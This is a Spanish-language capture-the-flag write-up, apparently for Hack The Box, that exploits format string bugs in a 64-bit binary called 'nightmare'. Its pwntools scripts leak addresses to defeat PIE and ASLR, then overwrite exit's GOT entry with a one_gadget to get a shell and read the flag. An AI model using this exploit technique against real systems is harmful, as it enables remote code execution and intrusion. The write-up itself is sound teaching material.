Nightmare
10 minutos de lectura
Se nos proporciona un binario de 64 bits llamado nightmare
:
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Ingeniería inversa
Usando Ghidra, podemos leer el código fuente descompilado en C. Esta es la función main
:
void main() {
char option;
int option_char;
setup();
do {
while (true) {
while (true) {
menu();
option_char = getchar();
option = (char)option_char;
getchar();
if (option != '3') break;
puts("Seriously? We told you that it\'s impossible to exit!");
}
if (option < '4') break;
LAB_001014e5:
puts("No can do");
}
if (option == '1') {
scream();
} else {
if (option != '2') goto LAB_001014e5;
escape();
}
} while (true);
}
La función main
llama a menu
, que nos da dos opciones. La primera es scream
:
void scream() {
long in_FS_OFFSET;
char data[280];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Aight. Hit me up\n>> ");
fgets(data, 256, stdin);
fprintf(stderr, data);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Y la segunda es escape
:
void escape() {
int res;
long in_FS_OFFSET;
char code[6];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf("Enter the escape code>> ");
fgets(code, 6, stdin);
res = validate(code);
if (res == 0) {
puts("Congrats! You\'ve escaped this nightmare.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf(code);
puts("\nWrong code, buster");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Y aquí se llama a validate
:
int validate(char *code) {
int res;
res = strncmp(code, "lulzk", 5);
return res;
}
Vulnerabilidad de Format String
Existen dos vulnerabilidades de Format String. Un claro ejemplo está en escape
, donde controlamos code
, el primer argumento de printf(code)
. Otro ejemplo aparece en scream
, en fprintf(stderr, data)
. No obstante, tenemos algunas limitaciones, ya que code
es una cadena de caracteres de solo 6 bytes, y no podremos leer de stderr
en la instancia remota.
Con uan vulnerabilidad de Format String podemos fugar valores de la pila (stack) usando formatos como %p
(punteros en formato hexadecimal):
$ ./nightmare
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> 2
Enter the escape code>> %p
0x5579d9cf8079
Wrong code, buster
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
>
Nótese cómo %p
se reemplaza con un valor hexadecimal. Las vulnerabilidades de Format String también nos permiten escribir datos arbitrarios en la memoria utilizando el formato %n
. Para ello tenemos que encontrar en qué posición de la pila tenemos nuestra string de entrada:
$ ./nightmare
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> 1
Aight. Hit me up
>> %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
7ffd192a81d0.7ffa68f80fd2.7ffd192a81d0.0.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.7ffa68ed000a.3000000008.7ffd192a82f0.
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
>
Genial, podemos controlar valores de la pila a partir de la posición 5.
El formato %n
almacena el número de caracteres impresos hasta el formato en la dirección a la que hace referencia el formato. Por ejemplo, si colocamos una dirección en los primeros 8 bytes del payload, usando %5$n
justo después, se almacenará el valor 8
en esa dirección. Para almacenar valores arbitrarios, podemos hacer uso de %c
. Por ejemplo, %256c
será reemplazado por 256 espacios en blanco.
Explotación de Format String
Como el binario no tiene RELRO, podemos modificar una entrada de la Tabla de Offsets Globales (GOT, Global Offset Table) y ejecutar una shell one_gadget
. La GOT guarda las direcciones de memoria en tiempo real de las funciones externas de Glibc. Por ejemplo, podemos modificar las entradas de puts
o exit
.
Fugando direcciones de memoria
Para anular PIE, tenemos que fugar la dirección de alguna instrucción del binario para compararla con su offset. Para probar, vamos a desactivar el ASLR para que todas las direcciones de memoria sean fijas:
# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
Ahora usamos este script en Python para probar las 50 primeras posiciones de la pila:
#!/usr/bin/env python3
from pwn import context
context.binary = 'nightmare'
context.log_level = 'CRITICAL'
def main():
for i in range(50):
p = context.binary.process()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the escape code>> ', f'%{i + 1}$p'.encode())
print(i + 1, p.recvline(timeout=1))
p.close()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './nightmare'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
1 b'0x555555556079\n'
2 b'0x6c\n'
3 b'0xffffffff\n'
4 b'0x7fffffffe6a2\n'
5 b'(nil)\n'
6 b'0xa702436255500\n'
7 b'0x9fd17f3560af5b00\n'
8 b'0x7fffffffe6d0\n'
9 b'0x5555555554d5\n'
10 b'0x7fffffffe7c0\n'
11 b'0x3200000000000000\n'
12 b'(nil)\n'
13 b'0x7ffff7de1083\n'
14 b'0x7ffff7ffc620\n'
15 b'0x7fffffffe7c8\n'
16 b'0x100000000\n'
17 b'0x555555555478\n'
18 b'0x555555555500\n'
19 b'0x5a5ba6730ca68a59\n'
20 b'0x555555555180\n'
21 b'0x7fffffffe7c0\n'
22 b'(nil)\n'
23 b'(nil)\n'
24 b'0x9e36afe11581520a\n'
25 b'0xdf7f34b86e625fd7\n'
26 b'(nil)\n'
27 b'(nil)\n'
28 b'(nil)\n'
29 b'0x1\n'
30 b'0x7fffffffe7c8\n'
31 b'0x7fffffffe7d8\n'
32 b'0x7ffff7ffe190\n'
33 b'(nil)\n'
34 b'(nil)\n'
35 b'0x555555555180\n'
36 b'0x7fffffffe7c0\n'
37 b'(nil)\n'
38 b'(nil)\n'
39 b'0x5555555551ae\n'
40 b'0x7fffffffe7b8\n'
41 b'0x1c\n'
42 b'0x1\n'
43 b'0x7fffffffea98\n'
44 b'(nil)\n'
45 b'0x7fffffffead3\n'
46 b'0x7fffffffeade\n'
47 b'0x7fffffffeaf5\n'
48 b'0x7fffffffeb10\n'
49 b'0x7fffffffeb46\n'
50 b'0x7fffffffeb57\n'
Por experiencia, sé que las direcciones que empiezan por 555555555
son direcciones del binario, las que empiezan por 7ffff7f
están en Glibc, y las que comienzan por 7fffffff
son direcciones de la pila.
Vamos a usar GDB para encontar qué direcciones son estas:
$ gdb -q nightmare
Reading symbols from nightmare...
(No debugging symbols found in nightmare)
gef➤ start
[*] PIC binary detected, retrieving text base address
[+] Breaking at entry-point: 0x555555555180
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- ./nightmare
0x00555555555000 0x00555555556000 0x00000000001000 r-x ./nightmare
0x00555555556000 0x00555555557000 0x00000000002000 r-- ./nightmare
0x00555555557000 0x00555555558000 0x00000000002000 rw- ./nightmare
0x007ffff7dbd000 0x007ffff7ddf000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7ddf000 0x007ffff7f57000 0x00000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7f57000 0x007ffff7fa5000 0x0000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa5000 0x007ffff7fa9000 0x000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa9000 0x007ffff7fab000 0x000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fab000 0x007ffff7fb1000 0x00000000000000 rw-
0x007ffff7fc9000 0x007ffff7fcd000 0x00000000000000 r-- [vvar]
0x007ffff7fcd000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
gef➤ x 0x7ffff7de1083
0x7ffff7de1083 <__libc_start_main+243>: 0xb6e8c789
Tenemos un montón de direcciones para elegir tanto en Glibc como en el binario. Por ejemplo, vamos a usar la posición 13 (__libc_start_main+243
, también conocido como __libc_start_main_ret
) para Glibc y la posición 20 (0x555555555180
), que es el entrypoint del binario. Ahora, vamos a encontrar los offsets:
$ ldd nightmare
linux-vdso.so.1 (0x00007ffff7fcd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7db9000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep __libc_start_main
2238: 0000000000023f90 483 FUNC GLOBAL DEFAULT 15 __libc_start_main@@GLIBC_2.2.5
$ objdump -d nightmare | grep '<.text>'
0000000000001180 <.text>:
En este punto, podemos calcular las direcciones base de Glibc y del binario restando las fugas de memoria con los offsets correspondientes:
def leak(p, position: int) -> int:
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the escape code>> ', f'%{position}$p'.encode())
ret = int(p.recvline().decode(), 16)
p.sendline(b'xx')
return ret
def main():
p = get_process()
__libc_start_main_ret_addr = leak(p, 13)
log.info(f'Leaked __libc_start_main_ret: {hex(__libc_start_main_ret_addr)}')
elf.address = leak(p, 20) - 0x1180
glibc.address = __libc_start_main_ret_addr - 243 - glibc.sym.__libc_start_main
log.success(f'ELF base address: {hex(elf.address)}')
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './nightmare'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './nightmare': pid 54675
[*] Leaked __libc_start_main_ret: 0x7ffff7de1083
[+] ELF base address: 0x555555554000
[+] Glibc base address: 0x7ffff7dbd000
[*] Switching to interactive mode
Wrong code, buster
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> $
Como ambas direcciones base terminan en 000
, podemos asumir que son correctas. Ya podemos habilitar ASLR de nuevo:
# echo 2 | tee /proc/sys/kernel/randomize_va_space
2
Encontrando la versión de Glibc
Vamos a ejecutar el exploit en remoto como está:
$ python3 solve.py 159.65.19.122:32008
[*] './nightmare_patched'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 159.65.19.122 on port 32008: Done
[*] Leaked __libc_start_main_ret: 0x7fa936eeb0b3
[+] ELF base address: 0x55881fb50000
[+] Glibc base address: 0x7fa936ec4000
[*] Switching to interactive mode
Wrong code, buster
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> No can do
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
> $
Vemos que la dirección base de Glibc no es correcta. Podemos usar los tres últimos dígitos hexadecimales de __libc_start_main_ret
para encontrar una versión de Glibc coincidente en libc.blukat.me (Glibc 2.31):
Ahora podemos descargar la versión de Glibc correcta, y emplear pwninit
para parchear el binario y usar la versión de Glibc que está en la instancia remota:
$ pwninit --libc libc6_2.31-0ubuntu9_amd64.so --bin nightmare --no-template
bin: nightmare
libc: libc6_2.31-0ubuntu9_amd64.so
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9_amd64.deb
setting ./ld-2.31.so executable
symlinking libc.so.6 -> libc6_2.31-0ubuntu9_amd64.so
copying nightmare to nightmare_patched
running patchelf on nightmare_patched
En este punto, usaremos nightmare_patched
en nuestro entorno local.
Obteniendo RCE
Como el binario está completamente protegido, la manera de obtener una shell será utilizando una primitiva de escritura arbitraria al explotar la vulnerabilidad de Format String.
Un valor útil para conseguir una shell es una shell one_gadget
, que es una dirección de Glibc que ejecuta una shell bajo ciertas condiciones:
$ one_gadget libc.so.6
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Si queremos construir un payload, pwntools
nos ayuda con una función llamada fmtstr_payload
. Solamente tenemos que decirle el offset a partir del cual controlamos valores de la pila (5, lo vimos al principio), y un mapeo de direcciones en las que queremos escribir y los valores que queremos escribir. Si no, una explotación manual de Format String com %n
habría sido mucho más tediosa. Puedes encontrar una prueba de concepto en mi write-up de la máquina Rope (en x86) o en fermat-strings.
Entonces, este es el último payload, donde hacemos que exit
sea la shell one_gadget
:
one_gadget = (0xe6aee, 0xe6af1, 0xe6af4)[1]
payload = fmtstr_payload(5, {elf.got.exit: glibc.address + one_gadget})
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'>> ', payload)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Enter the escape code>> ', b'lulzk')
p.recv()
p.interactive()
Conseguimos una shell en local:
$ python3 solve.py
[*] './nightmare_patched'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './nightmare_patched': pid 98737
[*] Leaked __libc_start_main_ret: 0x7f615426a0b3
[+] ELF base address: 0x5617a877e000
[+] Glibc base address: 0x7f6154243000
[*] Switching to interactive mode
$ ls
ld-2.31.so libc6_2.31-0ubuntu9_amd64.so nightmare_patched
libc.so.6 nightmare solve.py
Flag
Y también en remoto:
$ python3 solve.py 159.65.19.122:32008
[*] './nightmare_patched'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Opening connection to 159.65.19.122 on port 32008: Done
[*] Leaked __libc_start_main_ret: 0x7fd4c99dd0b3
[+] ELF base address: 0x560881a84000
[+] Glibc base address: 0x7fd4c99b6000
[*] Switching to interactive mode
$ ls
core
flag.txt
nightmare
$ cat flag.txt
HTB{ar3_y0u_w0k3_y3t!?}
El exploit completo se puede encontrar aquí: solve.py
.